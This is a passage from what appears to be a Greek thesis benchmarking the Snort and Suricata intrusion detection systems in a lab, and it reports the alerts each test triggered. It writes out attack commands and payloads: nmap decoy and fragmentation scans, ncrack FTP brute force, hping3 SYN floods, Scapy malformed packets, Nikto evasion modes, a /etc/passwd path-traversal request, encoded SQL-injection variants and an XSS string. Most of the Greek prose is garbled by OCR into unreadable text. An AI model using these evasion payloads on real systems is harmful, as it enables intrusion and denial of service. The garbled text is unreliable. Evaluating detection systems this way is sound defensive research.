O mivakog mov akoAovdel TeplapuPavet Tic £100T0MGELS TOL TaPdyOnKay Kot and ta dvo IDS.

IMivaxag 8-20: Ewdomoujoelg Tov Snort ke Suricata ywe to Nmap Xmas scan

[**] [1:24378:1] POLICY-OTHER TCP packet with urgent flag attempt [**] [Classification:

Generic Protocol Command Decode] [Priority: 3]

8.2.2.3.2 Nmap FIN scan

H evtolrn mov ekteléotnKe Yo oL THV TN SOKIUN A 1 akOAovON:
{usr/bin/sudo /usr/local/bin/nmap -sF -p 80 192.168.56.51

Kavéva amo ta 0o IDSs dev mapryaye £100mOMGELS.

8.2.2.3.3 Nmap NULL scan

H evtol mov exkteAéoTnKe Yoo ALTHY TN SOKIUN TOV 1] AKOAOLON:
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{usr/bin/sudo /usr/local/bin/nmap -sN -p 80 192.168.56.51

Koavéva amd to dvo IDSs dev mapnyoye 100moMceLs.

8.2.2.3.4 Malformed Traffic

Mo v ektéleon avtig g OoKng omootdAdnke £€va mokéto To omoio dnuiovpyndnke

YPNOYOTOIDOVTOS TO SCapy kal mepteAdpfove AavOacuévn £€kd0om Tov TPOTOKOAAOL IP:
send(IP(dst="192.168.56.51", ihl=2, version=3)/ICMP(), verbose=0)

To Snort dev mapryoye €80mOMOELS, evd avTiOétmg To Suricata mapryaye tnv edomoinon mov

neptroppavet o [Mivaxag 8-21.

Mivaxkag 8-21: Eidomonocig Tov Suricata yie Malformed Traffic

[**] [1:2200011:1] SURICATA IPv4 wrong IP version [**] [Classification: (null)] [Priority: 3]

8.2.2.3.,5 Land Attack

Mo v ektéleon avtig g Ookung omootdAdnke €va mokéto To omoio dnuovpyndnke
YPNOWOTOIDOVTOG TO Scapy kot meptedapupave tnv id1a dievbovon IP 1660 Yo Tov amocstorén 660 Kot

Yl0L TOV OOOEKTT):
send(IP(src="192.168.56.51",dst="192.168.56.51")/TCP(sport=135,dport=135), verbose=0)

Kavéva amo ta 0o IDSs dev mapryaye £100TOMGELS.

8.2.2.4 Brute Force

Avt M Kotnyopio SoKIU®V gixe g o100 Vo g€etdoel tn dvvatdmra tov IDSS va aviyvebouv
emBéoeig brute force. O TTivokog 8-22 mepthapfavetl T poptododtnon mov £lafe to kébe IDS yo

SOKIU OVTAG TNG KaTnyopiog.

Mivakag 8-22: Avaivtika otoryeio poprod6Tnong dokipns katnyopiag Brute Force

A/A  Aoxipi) Mopwa Snort  Mopwa Suricata

1  Bruteforce against FTP with ncrack 2 2

H evtoAn mov ekteAéotnKe Yo o TV TN SOKIUN HTay 1 akOAovON:
{usr/local/bin/ncrack -f -U data/ncrack-users.txt -P data/ncrack-passwords.txt 192.168.56.51:21

O mivakog mov akoAovdel TeptlapuPavel Tic £100T0MGELG TOL TopdyOnKay kot arnd ta dvo IDS.
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IMivakag 8-23: Ewdomomoeig Tov Snort ke Suricata yw tnv exifeon Brute Force

[**] [1:13360:5] APP-DETECT failed FTP login attempt [**] [Classification: Misc activity]
[Priority: 3]

[**] [1:491:14] PROTOCOL-FTP Bad login [**] [Classification: Potentially Bad Traffic] [Priority:
2]

[**] [1:2010642:3] ET SCAN Multiple FTP Root Login Attempts from Single Source - Possible
Brute Force Attempt [**] [Classification: Attempted Information Leak] [Priority: 2]

[**] [1:2002383:11] ET SCAN Potential FTP Brute-Force attempt [**] [Classification:

Unsuccessful User Privilege Gain] [Priority: 1]

8.2.2.5 Denial Of Service

Avt n katnyopio dokidv glxe g otdyo Vv g€étaon v duvarotntev tov IDSS og mpog v
aviyvevon embécewv apvnong vanpecimv. O Ilivakag 8-24 meprhapfavel T poproddtnon mov Elafe

10 K4Og IDS yo kéBe pio amod Tig doKUEG AVTNG TG KOTNYoPiag.

IMivakag 8-24: Avalvtikd otovycio poprodotneng dokipdv katnyopiog Bad Traffic

A/A  Aoxaipn Mopwa Snort  Mopia Suricata
1 DoS against MSSQL 2 2
2 ApacheBench DoS 2 2
3  hping SYN flood 0 0

8.2.2.5.1 DoS against MSSQL

Mo v extéheon ovtig g SoKuNG amootdAdnke évo maxkéto ot OOpa 1433, omv omoia €&’

optopov ekteleitor o MSSQL Server. To makéto avtd dnpovpynnke ypnoLomoldvog To Scapy.
sr1(IP(dst="192.168.56.51")/TCP(dport=1433)/"0"*1000, verbose=0)

H 00pa avt éxel ypnoiponombel katd kopoldc Yo TV EKUETAAAELGT TOAADY OSLVOULDV TOL
MSSQL Server kot 0o tpénet éva IDS va mapdyet £100TOMGELS Y10 TIC OTOTEIPES GVVIESTG GE OLTHY,
eEAIPMOVTOG TOLG VIOAOYIOTEG Ol 0Toiol Ba TPEMEL Vo UTOPOVV VO EMKOIVOVIIGOLV amevdeiog e
Baom dedopévav. Tétolor voloylotég ivat yo mapdderyua ol application servers 1 ov web servers

oL ypelaleTor va ypnoiLonoovy T Paon dedouévav. H e€aipeon avtdv tov vmoloylotdv umopet
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Yo TaPAderypo var Yivel pe ypnior e duvaToTnTag KATaoToANG (SUppression) mov dtabétovy ko ta

dvo IDSs.
Ot mivakeg mov axorlovBov TepthapPdvouy Tig £100TOMGELS TOL TapayOnKay amd To Kabe IDS.

IMivakag 8-25: Ewdomouoelg Tov Snort ywe to DoS against MSSQL

[**] [129:2:1] Data on SYN packet [**] [Classification: Generic Protocol Command Decode]
[Priority: 3]

[**] [1:2010935:2] ET POLICY Suspicious inbound to MSSQL port 1433 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2001583:14] ET SCAN Behavioral Unusual Port 1433 traffic, Potential Scan or Infection
[**] [Classification: Misc activity] [Priority: 3]

IMivaxkag 8-26: Ewdomonceig Tov Suricata ywe to DoS against MSSQL

[**] [1:2010935:2] ET POLICY Suspicious inbound to MSSQL port 1433 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010935:2] ET POLICY Suspicious inbound to MSSQL port 1433 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2001583:14] ET SCAN Behavioral Unusual Port 1433 traffic, Potential Scan or Infection
[**] [Classification: Misc activity] [Priority: 3]

8.2.2.5.2 ApacheBench DoS

INo v ektéheon avtig g dokiung ypnotpomodnke 1o epyoreio ApacheBench, 1o omoio
YPNOIUOTOLEITOL YioL TNV 0EIOAOYNOTN TV emOcE®Y evog Web server kot umopel vo, a&lomomdei yio
emBéoelg Apvnong VINPECSIOV. ZVYKEKPIUEVA, omootaidnikoyv 10000 autipota 6mov o pEYIOTOG

apBuos tavtdypovev otnudtov oy 25. H evtoAn mov ektedéotnke gival 1 axdiovbn:
{usr/sbin/ab -k -c 25 -n 10000 http://192.168.56.51/
O wivakag mov akolovdel Teprhapfavet Tig €1d0moM|oELg oL TapdyOnkay Kot and Ta dvo IDS.

IMivakag 8-27: Ewdomomjosis Tov Snort ke Suricata ywe to ApacheBench DoS

[**] [1:2010725:6] ET POLICY ApacheBenchmark Tool User-Agent Detected [**] [Classification:
Attempted Information Leak] [Priority: 2]
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8.2.2.5.3 Hping SYN flood

IMo v ektéheon avtig ™G dokiung yprnoyonomdnke to epyaieio Hping, to omoio ypnoonoteitot

v v amootol) makétov TCP/IP ko pmopei va a&lomombei yio embécelg dpvnong vanpesiov.

Yvykekpéva, amoctdAOnkav 50000 maxéto SYN. H gvtodn mov exteAéotnke Yoo otV T1 60K

ntav 1 akdAovon:

{usr/bin/sudo /usr/shin/hping3 192.168.56.51 -S --faster -p 80 -1 eth0 -c¢ 50000 -a 1.2.3.4

Kavéva amo to 600 IDSs dev mopryoye £100m0OMGELS.

8.2.2.6 Evasion Techniques

Avti M xoatnyopia Sokipmv giye o¢ otoéyxo v e€étaon twv dvvatotitev towv IDSS o¢ mpog v

aviyvevon emBécemv MOV KAVOLV YPNon TEYVIKOV omoeuyng aviyvevonc. O Ilivakag 8-28

nepthapfavel tn poptodotnon mov éaafe to kdbe IDS yio kGbe pio amd TIC SOKIUES ALTAG TNG

KaTnyopiog.

IMivakag 8-28: AvalvTikd oTovysio poprodotneng doxipdv katnyopiog Evasion Techniques

A/A  Aoxipn Moépw Snort  Moépwa Suricata
1 Nmap decoy test (6th position) 2 2
2 Nmap decoy test (7th position) 2 2
3 Hex encoding 2 0
4 SQL Injection using case variation 2 2
5  SQL Injection using SQL comments 0 0
6  SQL Injection using Hex encoding 2 2
7  SQL Injection using double Hex encoding 2 2
8  SQL Injection using UTF-8 encoding 2 0
9  SQL Injection using unicode encoding (U Encoding) 2 0
10  SQL Injection using decimal encoding 0 0
11  SQL Injection using string concatenation (+ . .
(MSSQL))

12 SQL Injection using string concatenation (white 0 0
space (MySQL))

13 SQL Injection using string concatenation (|| (Oracle)) 0 0
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A/A  Aoxipn Mopwa Snort  Moépra Suricata

14 SQL Injection using CHAR function (MSSQL) 2 2
15  SQL Injection using CHR function (Oracle) 0 0
16  SQL Injection using NULL byte 2 2
17 Nmap scan with fragmentation 2 2
18  Nikto Random URI encoding 2 2
19  Nikto Directory self reference 2 2
20  Nikto Premature URL ending 2 2
21  Nikto Prepend long random string 2 2
22 Nikto Fake parameter 2 2
23 Nikto TAB as request spacer 2 2
24 Nikto Change the case of the URL 2 2
25  Nikto Windows directory separator 2 2
26  Nikto Carriage return as request spacer 2 2
27  Nikto Binary value as request spacer 2 2
28  Javascript Obfuscation 2 0

8.2.2.6.1 Nmap decoy test (6th position)

H evtoAn mov ekteAéotnKe Yo o TV TN SOKIUN HTay 1 akOAovOn:

Jusr/bin/sudo /usr/local/bin/nmap -sS -A -D
192.168.100.1,192.168.100.2,192.168.100.3,192.168.100.4,192.168.100.5,ME 192.168.56.51

Ot mivakeg mov akorlovBov TepthapPdvouy Tig £100TOMGELS TOL TapdyOnkay amd To Kabe IDS.

IMivaxkag 8-29: Eldomoumoelg Tov Snort yvo. to Nmap decoy test (6th position)

[**] [122:1:1] (portscan) TCP Portscan [**] [Classification: Attempted Information Leak] [Priority:
2]

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]
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[**] [1:2010939:2] ET POLICY Suspicious inbound to PostgreSQL port 5432 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010935:2] ET POLICY Suspicious inbound to MSSQL port 1433 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:1390:10] INDICATOR-SHELLCODE x86 inc ebx NOOP [**] [Classification: Executable
Code was Detected] [Priority: 1]

[**] [1:24378:1] POLICY-OTHER TCP packet with urgent flag attempt [**] [Classification:

Generic Protocol Command Decode] [Priority: 3]

[**] [1:2003068:6] ET SCAN Potential SSH Scan OUTBOUND [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:2001219:18] ET SCAN Potential SSH Scan [**] [Classification: Attempted Information
Leak] [Priority: 2]

Mivaxog 8-30: Ewdomoujoeirg Tov Suricata ywo to Nmap decoy test (6th position)

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010935:2] ET POLICY Suspicious inbound to MSSQL port 1433 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2013929:3] ET POLICY HTTP traffic on port 443 (OPTIONS) [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:1390:10] INDICATOR-SHELLCODE x86 inc ebx NOOP [**] [Classification: Executable
code was detected] [Priority: 1]

[**] [1:24378:1] POLICY-OTHER TCP packet with urgent flag attempt [**] [Classification:

Generic Protocol Command Decode] [Priority: 3]

[**] [1:2009358:4] ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting
Engine) [**] [Classification: Web Application Attack] [Priority: 1]

[**] [1:11263:6] SERVER-APACHE Apache mod_ssl non-SSL connection to SSL port denial of

service attempt [**] [Classification: Attempted Denial of Service] [Priority: 2]

[**] [1:1852:9] SERVER-WEBAPP robots.txt access [**] [Classification: access to a potentially

vulnerable web application] [Priority: 2]
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[**] [1:2003068:6] ET SCAN Potential SSH Scan OUTBOUND [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:2001219:18] ET SCAN Potential SSH Scan [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:2230002:1] SURICATA TLS invalid record type [**] [Classification: Generic Protocol
Command Decode] [Priority: 3]

[**] [1:19559:3] SCAN SSH brute force login attempt [**] [Classification: Misc activity] [Priority:
3]

[**] [1:13360:5] APP-DETECT failed FTP login attempt [**] [Classification: Misc activity]
[Priority: 3]

[**] [1:491:14] PROTOCOL-FTP Bad login [**] [Classification: Potentially Bad Traffic] [Priority:
2]

[**] [1:553:12] POLICY-OTHER FTP anonymous login attempt [**] [Classification: Misc
activity] [Priority: 3]

8.2.2.6.2 Nmap decoy test (7th position)

H evtoAn mov ekteléotnKe Yo otV TN SOKIUN HTav 1 akOAovOn:

{usr/bin/sudo /usr/local/bin/nmap -sS -A -D
192.168.100.1,192.168.100.2,192.168.100.3,192.168.100.4,192.168.100.5,192.168.100.6, ME
192.168.56.51

O e1domomoelg mov moapdydnkav amd to dvo IDSS eivar avtéc twv mvakovilivakag 8-29 kot

[Mivakag 8-30.

8.2.2.6.3 Hexencoding

H evtoAn mov ekteléotnKe Yo ouTHV TN SOKIUN HTay 1 akOAovON:

GET
/index.php?page=%2e%2e%2f%2e%2e%2{%2e%2e%2f%65%74%63%2f%70%61%73%73%77%6
4 HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.5) Gecko/20041202 Firefox/1.0\r\n\r\n

To Suricata dev mapfyoye edomomoels, evd avtifétmg to Snort mapfyoaye thv €domoinon mov

neptrauPavel o Iivaxag 8-31.
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IMivakag 8-31: Ewdomoujosis Tov Snort ywa To Hex encoding

[**] [1:1122:12] SERVER-WEBAPP /etc/passwd file access attempt [**] [Classification:
Attempted Information Leak] [Priority: 2]

8.2.2.6.4 SQL Injection using case variation

H evtoAn mov ekteAéotnKe yio otV TN SOKIUN HTay 1 akOAovOn:
GET fform.php?q=1+UnloN+seLEcT+VErsIOn%28%29 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n
O ivakeg Tov akohovBovV TeplapuBavouy Tig 1000 GEIS TOL TapdyOnKkoy amd to kabe IDS.

IMivakag 8-32: Eidomonesig Tov Snort yia to SQL Injection using case variation

[**] [1:2011037:3] ET WEB_SERVER Possible Attempt to Get SQL Server Version in URI using
SELECT VERSION [**] [Classification: Web Application Attack] [Priority: 1]

[**] [1:2006446:11] ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT [**]
[Classification: Web Application Attack] [Priority: 1]

[**] [1:13990:13] SQL union select - possible sql injection attempt - GET parameter [**]
[Classification: Misc Attack] [Priority: 2]

IMivakag 8-33: Eldomomesig Tov Suricata ywe to SQL Injection using case variation

[**] [1:2011037:3] ET WEB_SERVER Possible Attempt to Get SQL Server Version in URI using
SELECT VERSION [**] [Classification: Web Application Attack] [Priority: 1]

[**] [1:2006446:11] ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT [**]
[Classification: Web Application Attack] [Priority: 1]

8.2.2.6.5 SQL Injection using SQL comments

H evtoAn mov ekteAéotnKe yio o THV TN SOKIUN HTav 1 akOAovON:

GET fform.php?q=1+UN/**/ION+SEL/**/ECT+VER/**/SION%28%29 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n

Koavéva amo to 600 IDSs dev mapryaye £100mOMGELS.

8.2.2.6.6 SQL Injection using Hex encoding
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H evtol mov exkteAéoTnKE Yo ALTHY TN SOKIUN TOV 1) AKOAOLON:

GET /form.php?q=1+%55NION+%53ELECT+%56ERSION%28%29 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n

O1 gdomomoelg mov mapdydnkav and ta dvo IDSSs eivan avtég Tov mvdkwvllivakag 8-291Tivaxag

8-32 ko ITivaxag 8-33.

8.2.2.6.7 SQL Injection using double Hex encoding

H evtoAn mov ekteAéotnKe yio o TV TN SOKIUN HTa 1 akOA0vON:

GET /form.php?g=1+%2555NION+%2553ELECT+%2556 ERSION%2528%2529
HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n

Ot g6omomoelg mov mapdyOnkav and to 6vo IDSS givar avtéc Twv mvakwvilivaxag 8-291Tivakag

8-32 ko ITivaxag 8-33.

8.2.2.6.8 SQL Injection using UTF-8 encoding

H evtoAn mov ekteléotnke Yo ovThv T SOKI ey 1 akoAovn:

GET fform.php?9=1+%C1%95NION+%C1%93ELECT+%C1%96ERSION%c0%28%c0%29
HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n

To Suricata dev mapnyoye €160momoels, eved avtiBétg to SNort mopniyaye TG €100TOMGELS TOV

neptrapPavel o [ivaxag 8-32.

8.2.2.6.9 SQL Injection using unicode encoding (U Encoding)

H evtoAn mov ekteAéotnKe yio otV TN SOKIUN HTay 1 akOAovOn:

GET
[form.php?g=1+%u0055%u004E%u0049%u004F%u004E+%u0053%u0045%u004C%u0045%u004
3%u0054+VERSION%0028%0029 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n

To Suricata dev mapniyoye edomomoels, evd avilBET®c To Snort mapiyays Tig £00TONGEL TOL

neptrapPavet 0 Hivaxag 8-32.

8.2.2.6.10 SQL Injection using decimal encoding

H evtoAn mov ekteAéotnKe yio o THV TN SOKIUN HTav 1 akOAovOn:

GET fform.php?q=1+&#85NION+&#83ELECT+&#86ERSION&#40&#41 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n

Koavéva amo to 0o IDSs dev mapryaye £100mOMGELS.
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8.2.2.6.11 SQL Injection using string concatenation (+ (MSSQL))

H evtoAn mov ekteléotnke yio ouThv T SOKIU ey 1 akoAovdn:

GET /form.php?q=1+UN%2blON+SEL%2bECT+VER%2bSION%28%29 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n

Koavéva amod ta 0o IDSs dev mapryaye £100mOMGELS.

8.2.2.6.12 SQL Injection using string concatenation (white space (MySQL))

H evtoAn mov ekteléotnKe Yo o TV TN SOKIUN HTav 1 akOAovOn:

GET /form.php?q=1+UN%201ON+SEL%20ECT+VER%20SION%28%29 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n

Koavéva amo ta dvo IDSs dev mapnyoye e100momceLs.

8.2.2.6.13 SQL Injection using string concatenation (|| (Oracle))

H evtoAn mov ekteléotnke yio ouThv TN SOKIU ey 1 akoAovin:

GET fform.php?q=1+UN%7C%7CION+SEL%7C%7CECT+VER%7C%7CSION%28%29
HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n

Koavéva amo ta 600 IDSs dev mapryaye £100mTOMGELS.

8.2.2.6.14 SQL Injection using CHAR function (MSSQL)

H evtol mov exteAéoTnKe Yoo LTHY TN SOKIUN TOV 1) aKOAOLON:

GET
Jform.php?q=1+UNION+CHAR(83)%2bCHAR(69)%2bCHAR(76)%2bCHAR(69)%2bCHAR(67)%2
bCHAR(84)+VERSION%28%29 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n

O mivaxog mov akolovBel meptAapPavet Tig £100mOMCELS TOL TaPAYONKoY Kot amd T, dvo IDS.

IMivakag 8-34: Ewdomonoeig Ty Snort ko Suricataywa to SQL Injection using CHAR function
(MSSQL)

[**] [1:13989:6] INDICATOR-OBFUSCATION large number of calls to char function - possible
sql injection obfuscation [**] [Classification: Web Application Attack] [Priority: 1]

8.2.2.6.15 SQL Injection using CHR function (Oracle)

H gvtol mov exteAéoTnKE Yo LTHY TN SOKIUN TOV 1] oKOAOLON:
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GET
Jform.php?q=1+UNION+CHR(83)%7C%7CCHR(69)%7C%7CCHR(76)%7C%7CCHR(69)%7C%7
CCHR(67)%7C%7CCHR(84)+VERSION%28%29 HTTP/1.1\\nHost: 127.0.0.1\r\n\r\n

Kovéva amod ta 0o IDSs dev mopryaye £100mOMGELS.

8.2.2.6.16 SQL Injection using NULL byte

H evtoAn mov ekteAéotnKe yio o TV TN SOKIUN HTa 1 akOAovOn:

GET /form.php?g=1%00+UNION+SELECT+VERSION%28%29 HTTP/1.1\r\nHost:
127.0.0.1\r\n\r\n

Ot gdomomoelg mov mapdydnkav and to 6vo IDSS givar avtéc Twv mvakwvilivaxog 8-291Tivakag

8-32 ko ITivaxag 8-33.

8.2.2.6.17 Nmap scan with fragmentation

H gvtol mov exkteAéoTnKE Yoo ALTHY TN SOKIUN TOV 1] aKOAOLON:
{usr/bin/sudo /usr/local/bin/nmap -PN -sS -A -f 192.168.56.51
On mivakeg Tov akolovBoVV TEPLOUBAVOLV TIG E00TOMCELS TOL TapdyOnKay amd to kabe IDS.

IMivakag 8-35: Ewdomomoeig Tov Snort ywe to Nmap scan with fragmentation

[**] [123:13:1] (spp_frag3) Tiny fragment [**] [Classification: Attempted Denial of Service]
[Priority: 2]

[**] [122:1:1] (portscan) TCP Portscan [**] [Classification: Attempted Information Leak] [Priority:
2]

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010936:2] ET POLICY Suspicious inbound to Oracle SQL port 1521 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010939:2] ET POLICY Suspicious inbound to PostgreSQL port 5432 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2002911:4] ET SCAN Potential VNC Scan 5900-5920 [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:1421:15] SNMP AgentX/tcp request [**] [Classification: Attempted Information Leak]
[Priority: 2]
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[**] [1:1390:10] INDICATOR-SHELLCODE x86 inc ebx NOOP [**] [Classification: Executable
Code was Detected] [Priority: 1]

[**] [1:24378:1] POLICY-OTHER TCP packet with urgent flag attempt [**] [Classification:

Generic Protocol Command Decode] [Priority: 3]

[**] [123:8:1] (spp_frag3) Fragmentation overlap [**] [Classification: Generic Protocol Command
Decode] [Priority: 3]

[**] [1:2003068:6] ET SCAN Potential SSH Scan OUTBOUND [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:2001219:18] ET SCAN Potential SSH Scan [**] [Classification: Attempted Information
Leak] [Priority: 2]

IMivaxag 8-36: Ewdomomosig Tov Suricata ywe to Nmap scan with fragmentation

[**] [1:2010937:2] ET POLICY Suspicious inbound to mySQL port 3306 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010935:2] ET POLICY Suspicious inbound to MSSQL port 1433 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2010939:2] ET POLICY Suspicious inbound to PostgreSQL port 5432 [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2013929:3] ET POLICY HTTP traffic on port 443 (OPTIONS) [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:2009986:2] ET P2P Octoshape UDP Session [**] [Classification: A Network Trojan was
detected] [Priority: 1]

[**] [1:2001841:7] ET P2P UDP traffic - Likely Limewire [**] [Classification: Potential Corporate
Privacy Violation] [Priority: 1]

[**] [1:1390:10] INDICATOR-SHELLCODE x86 inc ebx NOOP [**] [Classification: Executable
code was detected] [Priority: 1]

[**] [1:24378:1] POLICY-OTHER TCP packet with urgent flag attempt [**] [Classification:

Generic Protocol Command Decode] [Priority: 3]

[**] [1:2009358:4] ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting
Engine) [**] [Classification: Web Application Attack] [Priority: 1]
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[**] [1:11263:6] SERVER-APACHE Apache mod_ssl non-SSL connection to SSL port denial of

service attempt [**] [Classification: Attempted Denial of Service] [Priority: 2]

[**] [1:2013929:3] ET POLICY HTTP traffic on port 443 (OPTIONS) [**] [Classification:
Potentially Bad Traffic] [Priority: 2]

[**] [1:1852:9] SERVER-WEBAPP robots.txt access [**] [Classification: access to a potentially
vulnerable web application] [Priority: 2]

[**] [1:13360:5] APP-DETECT failed FTP login attempt [**] [Classification: Misc activity]
[Priority: 3]

[**] [1:2003068:6] ET SCAN Potential SSH Scan OUTBOUND [**] [Classification: Attempted
Information Leak] [Priority: 2]

[**] [1:2001219:18] ET SCAN Potential SSH Scan [**] [Classification: Attempted Information
Leak] [Priority: 2]

[**] [1:2230002:1] SURICATA TLS invalid record type [**] [Classification: Generic Protocol
Command Decode] [Priority: 3]

[**] [1:19559:3] SCAN SSH brute force login attempt [**] [Classification: Misc activity] [Priority:
3]

[**] [1:491:14] PROTOCOL-FTP Bad login [**] [Classification: Potentially Bad Traffic] [Priority:
2]

[**] [1:553:12] POLICY-OTHER FTP anonymous login attempt [**] [Classification: Misc
activity] [Priority: 3]

8.2.2.6.18 Nikto Scan with evasion techniques

g T TN GEPA SOKIUDV YPNOUOTOMONKAV 01 SAPOPES TEXVIKEG ATOPLYNG AViYVEVGNG TOL €ivat

dwbéoueg oto Nikto. Ot evtodég mov ektedéoTnKOV gival o1 akOAoVOES:
e Nikto Random URI encoding

{usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 1

o Nikto Directory self reference

/usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 2
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o Nikto Premature URL ending

/usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 3

e Nikto Prepend long random string

{usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 4

o Nikto Fake parameter

/usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 5

¢ Nikto TAB as request spacer

Jusr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 6

¢ Nikto Change the case of the URL

e /usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 7

¢ Nikto Windows directory separator

/usr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion 8

o Nikto Carriage return as request spacer

lusr/bin/sudo /pentest/web/nikto/nikto.pl -config /pentest/web/nikto/nikto.conf -h
192.168.56.51 -Plugins cgi -evasion A

¢ Nikto Binary value as request spacer

Jusr/bin/sudo  /pentest/web/nikto/nikto.pl  -config  /pentest/web/nikto/nikto.conf  -h
192.168.56.51 -Plugins cgi -evasion B

O1 eldomomoelg mov mapdynkav and ta dvo IDSS yia 10 chvoro TV Topandve oKV, gival avtég

tov mvakovllivaxag 8-291Tivaxoag 8-17 kou [Tivaxog 8-18.

8.2.2.6.19 Javascript Obfuscation

H evtoAn mov ekteléotnke yio ovThv TN SOKIU ey 1 akOAovin:
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GET /index.php?page=%sCscript%3Ealert%28%29%3C%2Fscript%3E HTTP/1.1\r\nHost:
127.0.0.2\r\n\r\n

To Suricata dgv mapfyoye edomomoels, evd avtliOétmg to Snort wapfyaye thv edomoinon mov

neptrapPavel o [ivaxag 8-37.

IMivaxkag 8-37: Edomoujoelg Tov Snort ywa o Javascript Obfuscation

[**] [1:2009714:6] ET WEB_SERVER Script tag in URI, Possible Cross Site Scripting Attempt
[**] [Classification: Web Application Attack] [Priority: 1]

8.2.2.7 Fragmented Packets

Avt 1 xoyopio SoKipu®mVY glxe g 6to)0 TV afloldynon tev duvvatottov tov IDSS og Tpog v
EMOVOGVVAPLOAGYNON BpLUUHOTICHEVOY TakET®V IP Kot Tov EvIomIcId emOBEGE®MY TOV YPTCLOTOLOVV
TNV TEYVIKT TOL OpLUATIoHOD.

O Iivaxog 8-38 meprhauPavel tn poptodotnon mov EAafe to kdbe IDS yio kdOe pio amd T1g dokiuég
OLTNG TNG KT YOpiag.

IMivakag 8-38: AvalvTikd otovysio poprodotneng doxpudv katnyopiog Fragmented Packets

A/A  Aoxipn Mopwa Snort  Moépiwa Suricata
1 Ping of death 1 0
2 Nestea Attack 1 1

8.2.2.7.1 Ping of death

To Ping of death eivon évag tomog emibeong o 0moiog TPAYUATOTOEITAL LE TV OTOGTOAY €VOG
KakOBovAov ping ctov vroloyioty otdyo. To ping amoteleitar vd PLGIOAOYIKEG cVVOTKES 0 32
bytes (1 84 bytes av cvvvmoloyiotel ko 1 emkeporida IP). Kdamoleg malodtepeg €K606EC TV
AEToVpYIK®V cvotnudtov dgv givar o Béon va yeplotovv makéto Ping ta omoio £xovv uéyebog
peyoAvtepo amd to péytoto péyebog maxétov IPv4 (65.535 bytes), pe amotédecpa vo KatappEouv.
‘Evag emtiBéuevog pmopel vo ekpetailevtel e0kolo autiv TV €umdbeilo amocTéEALOVTOG EVOL TOKETO
ping 1o omoio eivor peyaAdtepo tov 65.535 bytes. TIpokeévov vo umopécel vo. amooTeilel éva,
mokéto T€to10v peyébovg, 1o omoio mapafiilel tovg kavovee tov TpTokOAAoL IP (6mw¢ avtod

opietar oto RFC 791), ypedletar va ypnolpuomooel ™y Texvikn tov Opvpuatiopod. Otav o

Eykotdoraon ko Hepopotiky Melétn Zvotnudrwv Aviyvevons Eigfoiov Zelioa 149



VIOAOYIOTHG OTOYOC TPOOTAONCEL VO EMOVOCLVOPUOAOYNGEL TO  OPLUUATIOHEVO  TOKETO,

napovactaletar £va buffer overflow to omoio cuvnBm¢ 0dnyel o€ KaTtdppeLOT TOL GLOTAHUATOC.

Mo v ektéheon ovtig ™G OOKIUNG OmooTdAONKE éva TokETo TO omoio dnuovpyndnke
xpnowonoldvag to Scapy. To makéto avtd meprelapPave 67.000 yapaxtipeg kot OpvppaticTnke

TPOKEEVOL VO, EIVOL EPIKTY| 1] ATTOGTOAN] TOV:
